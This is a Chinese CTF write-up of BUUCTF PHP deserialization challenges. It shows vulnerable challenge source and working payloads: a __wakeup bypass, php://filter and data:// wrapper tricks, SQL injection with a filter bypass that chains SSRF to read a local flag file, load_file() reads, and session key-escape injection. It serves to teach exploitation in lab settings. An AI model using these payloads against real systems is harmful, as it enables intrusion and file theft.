buu刷题笔记之反序列化
[极客大挑战 2019]PHP
解题思路:打开题目,提示有备份=源码。于是上手7kb加CTF源码泄露字典。
发现www.zip压缩包,下载解压后发现源码
<?php include 'flag.php'; error_reporting(0); class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die(); } } } ?>
分析源码:只有username=admin、password=100才能得到flag。但wakeup魔法函数会强制将username=guest,所以需要绕过wakeup。
Index.php代码截图如下(注意圈出的)
反序列化的入口就是select参数。
有了思路就来构造payload。
<?php class Name{ private $username = 'nonono'; private $password = 'yesyes'; } $a=new Name("admin","100"); echo serialize($a); ?>
输出结果
然后
-
因为要绕过
wakeup
,把Name
后的数字改成3或更大 -
因为
username
和password
是私有变量,变量中的类名前后会有空白符,而复制的时候会丢失,所以要加上%00
payload:O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
[ZJCTF 2019]NiZhuanSiWei
审计源码
<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>
看到有include文件包含,是解题的重点,所以先看第一个if,必须先满足它,text不为空,且file_get_contents()
读取的返回值为welcome to the zjctf。
file_get_contents()
函数的功能是读取文件内容到一个字符串,但这里没没有一个文
件,而是读取的text
变量。而如果直接给text
赋值text=welcome to the zjctf
的话,没有回显,说明没成功,所以需要用方法绕过它,就有两种方法:
1、php://input
伪协议
此协议需要allow_url_include
为on
,可以访问请求的原始数据的只读流, 将post请求中的数据作为 PHP代码执行,当传入的参数作为文件名打开时,可以将参数设为php://input
,同时post想设置的文件内容,php执行时会将post内容当作文件内
容,好像用 HackBar 因为在 post 中没有设置变量不能访问,所以用Burp抓包。看到有回显,可行
2、data://伪协议
data://协议需要满足双on条件,作用和 php://input 类似
再看第二个if file
不能有flag字符,没啥,往下看。
提示了有一个useless.php
,想到之前说的PHP伪协议中的php://filter
读取文件,于是便尝试一下
php://filter/read=convert.base64-encode/resource=useless.php
所以构造payload:
?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php
然后base64解码得useless.php的源码
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
看到有一个 flag.php ,并且file不为空将读取flag.php并显示,所以构造一个序列化字符串
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $a=new Flag(); $a->file="flag.php"; echo serialize($a); ?>
构造payload:
http://60bcfa23-06d0-4765-9671-cc34bf176fba.node4.buuoj.cn:81/?text=data:text/plain,welcome to the zjctf&file=php://filter/read/convert.base64-encode/resource=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
无flag回显,这里发现如果file继续用前面伪协议读取的话,后面的 password 会无回显无法得到flag(需修改为 useless.php)
最终payload:
http://60bcfa23-06d0-4765-9671-cc34bf176fba.node4.buuoj.cn:81/?text=data:text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}
访问后f12即可见flag
[网鼎杯 2018]Fakebook
进入页面,常规审计F12无发现,这边先扫一下有无泄露扫目录,发现存在robots.txt和flag.php,访问后发现源码泄露/user.php.bak
<?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); } }
curl_init(url)函数,初始化一个新的会话,返回一个cURL句柄,供curl_setopt(), curl_exec()和curl_close() 函数使用。参数url如果提供了该参数,CURLOPT_URL 选项将会被设置成这个值。
curl_setopt ( resource $ch , int $option , mixed $value ) 设置 cURL 传输选项,为 cURL 会话句柄设置选项。参数:
ch:由 curl_init() 返回的 cURL 句柄。
option:需要设置的CURLOPT_XXX选项。(CURLOPT_URL:需要获取的 URL 地址,也可以在curl_init() 初始化会话的时候。使用 CURLOPT_RETURNTRANSFER 后总是会返回原生的(Raw)内容。)
value:将设置在option选项上的值。
curl_getinfo — 获取一个cURL连接资源句柄的信息,获取最后一次传输的相关信息。
经过分析可得:
1,注册界面输入的blog经过了isValidBlog()函数的过滤,不然直接在注册界面blog处输入file:///var/www/html/flag.php就能拿到flag。
2,get()函数存在ssrf漏洞。
显然存在ssrf漏洞,并且拼接入我们的url就是我们注册的时候输入的url,但是显然是有waf的,所以我们就不能够直接利用。。没有WAF直接在注册界面输入file:///var/www/html/flag.php就能拿到我们想要的flag。所以,我们的思路是,把flag的路径赋给blog,经过一系列操作最后会返回flag.php的内容。
发现页面view.php?no=1
存在数字型注入,经过简单判断有4个字段
注入发现union
被过滤,使用/**/
绕过
发现显示位username。
法一:ssrf+反序列化+sql注入
根据报错信息可知:
-
网站绝对路径(/var/www/html/)
-
数据库里的数据都是反序列存储
因此只要访问/var/www/html/flag.php
就可以拿到flag,但通过http(s)
协议无法读到flag,curl
不仅支持http(s)
,还支持file协议
,所以可以通过file协议
读文件
我们在此猜测(暂时未发现线索说明flag就是这个位置的,只能猜,而确实是猜出来的)位置为/var/www/html/flag.php
<?php class UserInfo{ public $name="1"; public $age=2; public $blog="file:///var/www/html/flag.php"; } $a=new UserInfo(); echo serialize($a); ?>
得到反序列化字符串:
O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:2;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
所以接下来只要把这段字符串放在get接受的位置即可(加单引号包裹)
Payload:?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:2;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
至于为何在4位点插入串,因为我们之前猜测ssrf的利用位置在blog--4位点,别的位置无法curl_exec()
造成ssrf
f12审计得到flag
法二:sql注入load_file()
利用报错的绝对路径直接查到flag.php
因为我们已经猜测了flag.php的位置,所以确认存在sql之后,我们可以利用load_file函数:
Payload:?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4
F12空白区域,直接得到flag
[网鼎杯 2020 青龙组]AreUSerialz
打开页面,代码审计
<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
总结:
1.传入str
,经过处理反序列化。
2.is_valid
过滤:传入的string
要是可见字符ascii值为32-125。
3.$op:op=="1"
的时候会进入write方法
处理,op=="2"
的时候进入read方法
处理。
is_valid
过滤-绕过:
正常构造payload的话因为op、fliename、$content
都是protected属性
,序列化的的结果的属性名前面会有/00/00
(或者%00%00
),/00
的ascii为0不可见的字符如下图,就会被is_valid
方法拦下来。
PHP7.1以上版本对属性类型不敏感,public属性
序列化不会出现不可见字符,可以用public属性
来绕过
弱类型绕过,然后最后执行到:$obj=unserialize($str)
会调用__destruct
魔术方法,如果op="2"
的话就把op="1"
这时候要使op="2"
不成立且op=="2"
成立,这里可以自己使用op
等于整数2而非字符”2”
使得进入read方法
里面,然后构造序列化字符串:
<?php class FileHandler { public $op=2; public $filename="flag.php"; public $content; } $a=new FileHandler(); $b=serialize($a); echo $b;
最后payload:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
查看源码即可看到flag,或者使用PHP伪协议读取flag.php:
<?php class FileHandler { public $op=2; public $filename="php://filter/read=convert.base64-encode/resource=flag.php"; public $content; } $a=new FileHandler(); $b=serialize($a); echo $b;
得到base64解码得到flag
[安洵杯 2019]easy_serialize_php
<?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } if($_SESSION){ unset($_SESSION); } $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; extract($_POST); if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; } if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); } $serialize_info = filter(serialize($_SESSION)); if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
序列化后的结果是一串字符串。
反序列化会解开序列化的字符串生成相应类型的数据。
如以下代码示例,img是一个数组,下标分别是one和two,对应的值分别是flag和test
<?php $img['one'] = "flag"; $img['two'] = "test"; $a = serialize($img); var_dump($a); #输出: string(48) "a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}" $b = unserialize($a); var_dump($b); /*输出如下内容: array(2) { ["one"]=> string(4) "flag" ["two"]=> string(4) "test" } */
序列化部分:
经过serialize序列化后生成了相应的字符串: a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}
a表示数组 , a:2中的2表示有两个键值,即对应的one、two两组键值对。
花括号中的s都表示string即字符串,
s:后面的值分别是3、4、3、4,即对应的字符串长度,比如one长度是三,flag长度是4
反序列化部分:
unserialize函数将字符串解序列化,我们用var_dump函数显示了他的详细信息。
可见解序列化后由变量$b,接收了img数组。
序列化中每个字母的表示
a | array数组 |
---|---|
b | boolean判断类型 |
d | double浮点数 |
i | integer整数型 |
o | common object 一般的对象 |
r | reference引用类型 |
s | string字符串类型 |
C | custom object |
O | class |
N | null |
R | pointer reference |
U | unicode string |
发现d0g3_f1ag.php
我把可以对应起来的代码放到了一起
$function = @$_GET['f']; if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
根据上面可以清楚,f是我们用get方法传参得到的变量并由$function接收。
$function发挥作用的代码块,在最下方的判断句。
咱们初步访问的时候f=highlight_file,
判断句中给了提示,那么f=phpinfo时,我们就看到了phpinfo的页面,phpinfo有很多配置项会显示。
我们发现了auto_append_file d0g3_f1ag.php 在页面底部加载文件d0g3_f1ag.php。
所以可以猜测flag应该要从d0g3_f1ag.php拿。
发现变量覆盖
if($_SESSION){ unset($_SESSION); } $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; extract($_POST);
filter函数是为了过滤用的,可以先继续往下看,到如下的时候。
我萌发现unset函数将$_SESSION销毁了。
然后重新赋予$_SESSION了新的值。
最后调用了extract($_POST);
变量覆盖举例
根据extract()我们可以进行变量覆盖,
当我们传入SESSION[flag]=123时,$SESSION["user"]和$SESSION['function'] 全部会消失。
只剩下_SESSION[flag]=123。
<?php $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; var_dump($_SESSION); echo "<br/>"; extract($_POST); var_dump($_SESSION);
键值逃逸
原理:因为序列化吼的字符串是严格的,对应的格式不能错,比如s:4:"name",那s:4就必须有一个字符串长度是4的否则就往后要。
并且unserialize会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号后面的就都被扔掉。
示例
<?php #正规序列化的字符串 $a = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";}"; var_dump(unserialize($a)); #带有多余的字符的字符串 $a_laji = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";};s:3:\"真的垃圾img\";lajilaji"; var_dump(unserialize($a_laji));
我们有了这个逃逸概念的话,就大概可以理解了。如果我们把
$_SESSION['img'] = base64_encode('guest_img.png');这段代码的img属性放到花括号外边去,
然后花括号中注好新的img属性,那么他本来要求的img属性就被咱们替换了。
那如何达到这个目的就要通过过滤函数了,因为咱的序列化的是个字符串啊,然后他又把黑名单的东西替换成空。
payload
post一个数据。
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
ZDBnM19mMWFnLnBocA==也就是d0g3_f1ag.php的base64加密。
s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}这个肯定就是我们预期的那段序列化字符,
那么 ;s:1:"1"; 这几个字符呢?
现在的_SESSION就存在两个键值即phpflag和img对应的键值对。
并且这个字符串得好好读才能不蒙圈。
$_SESSION['phpflag']=";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}"; $_SESSION['img'] = base64_encode('guest_img.png'); var_dump( serialize($_SESSION) ); #"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}" ;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
经过filter过滤后phpflag就会被替换成空,
s:7:"phpflag";s:48:" 就变成了 s:7:"";s:48:";即完成了逃逸。
两个键值分别被序列化成了
s:7:"";s:48:";s:1:"1";即键名叫";s:48: 对应的值为一个字符串1。这个键值对只要能瞒天过海就行。
s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";键名img对应的字符串是d0g3_f1ag.php的base64编码。
右花括号后面的;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"全被当成孤儿放弃了。
注入
payload:_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
发现/d0g3_fllllllag
拿flag
/d0g3_fllllllag进行base64加密L2QwZzNfZmxsbGxsbGFn,恰巧也是20位。就替换原来的就好。
payload:_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
得到flag
上面的一种方法是反序列化的对象逃逸问题中的键逃逸
第二种方法是值逃逸
$_SESSION["user"] = '{1}'; $_SESSION['function'] = '{2}'; $_SESSION['img'] = base64_encode('guest_img.png'); echo serialize($_SESSION);
首先我们看看正常序列化的结果:
a:3:{s:4:"user";s:3:"{1}";s:8:"function";s:3:"{2}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
可以看到{1}和{2}是我们可以控制的点
那么我们可以构造一个这样的$_SESSION[function]
";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
而之前的filter函数将php flag啥的都替换为空,那么我们就可以使$_SESSION[user]="“中字符串的长度等于”;s:8:“function”;s:41:"一共23位
故
$_SESSION['user']="flagflagflagflagphpflag"
综合
$_SESSION['user']="flagflagflagphpflagflag"; $_SESSION['function'] = '";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}'; $_SESSION['img'] = base64_encode('guest_img.png'); echo serialize($_SESSION);
反序列化结果为
a:3:{s:4:"user";s:23:"flagflagflagphpflagflag";s:8:"function";s:41:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
由于经过filter函数的处理,变为
a:3:{s:4:"user";s:23:"";s:8:"function";s:41:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
反序列化结果为:
array(2) { ["user"]=>string(23)"";s:8:"function";s:41:"" ["img"]=> string(20) "ZDBnM19mMWFnLnBocA==" }
但是经过反序列化之后,原来是三个键值,但这里只有两个键值,无法反序列化成功,所以我们需要自己再加上一个键值
故最终
$_SESSION['function']="";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a"}"
故传入参数
_SESSION[user]=flagflagflagphpflagflag&_SESSION[function] =";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}